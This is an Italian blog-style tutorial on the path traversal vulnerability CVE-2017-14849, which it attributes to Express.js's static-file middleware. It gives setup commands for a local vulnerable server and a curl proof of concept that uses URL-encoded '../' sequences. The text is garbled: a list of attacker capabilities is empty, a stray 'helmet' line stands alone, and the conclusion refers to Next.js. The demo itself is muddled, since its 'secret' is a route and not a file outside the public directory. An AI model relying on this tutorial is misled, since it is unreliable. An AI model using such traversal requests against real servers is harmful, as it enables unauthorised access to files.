Durante il 2017 è stata scoperta una grave vulnerabilità in Express.js che consente attacchi di path traversal e potenzialmente l'accesso non autorizzato a file sensibili. Questa vulnerabilità, identificata come CVE-2017-14849, ha messo a rischio numerose applicazioni web basate su Express.js.
La vulnerabilità riguarda il middleware express.static
, componente di Express.js utilizzato per servire file statici come HTML, CSS, JavaScript e immagini. Il problema risiede nella gestione dei percorsi decodificati che contengono caratteri speciali.
In particolare, quando una richiesta contiene sequenze URL-encoded come %2e%2e%2f
(che decodificate equivalgono a ../
), il middleware non le normalizza correttamente prima di utilizzarle per accedere al file system. Questo permette a un attaccante di "risalire" nella struttura delle directory e accedere a file al di fuori della directory che dovrebbe essere accessibile.
L'impatto di questa vulnerabilità è significativo, in quanto permette a un attaccante non autenticato di:
Per testare la vulnerabilità, possiamo creare un server Express.js locale vulnerabile:
// Installazione di Express.js vulnerabile npm init -y npm install express@4.15.4 // Creazione del server vulnerabile nano server.js
Nel file server.js
, aggiungiamo:
const express = require('express'); const path = require('path'); const app = express(); // Directory pubblica che contiene file accessibili app.use('/public', express.static(path.join(__dirname, 'public'))); // File "segreto" che non dovrebbe essere accessibile // (immaginiamo sia al di fuori della directory pubblica) app.get('/secret', (req, res) => { res.send('Questo è un file segreto con informazioni sensibili'); }); app.listen(3000, () => { console.log('Server avviato su http://localhost:3000'); });
Creiamo la directory pubblica e un file di test:
mkdir public echo "Questo è un file pubblico" > public/test.txt
Avviamo il server:
node server.js
Ora possiamo sfruttare la vulnerabilità per accedere al "file segreto" che si trova al di fuori della directory pubblica:
curl -v "http://localhost:3000/public/%2e%2e/secret"
Se il server è vulnerabile, questa richiesta restituirà il contenuto del file segreto, dimostrando che è possibile "uscire" dalla directory pubblica e accedere a file che non dovrebbero essere accessibili.
helmet
Questa vulnerabilità sottolinea l'importanza di verificare e testare le configurazioni di sicurezza nelle applicazioni Next.js. Ti consigliamo di effettuare una revisione della sicurezza del tuo codice e di applicare aggiornamenti tempestivi.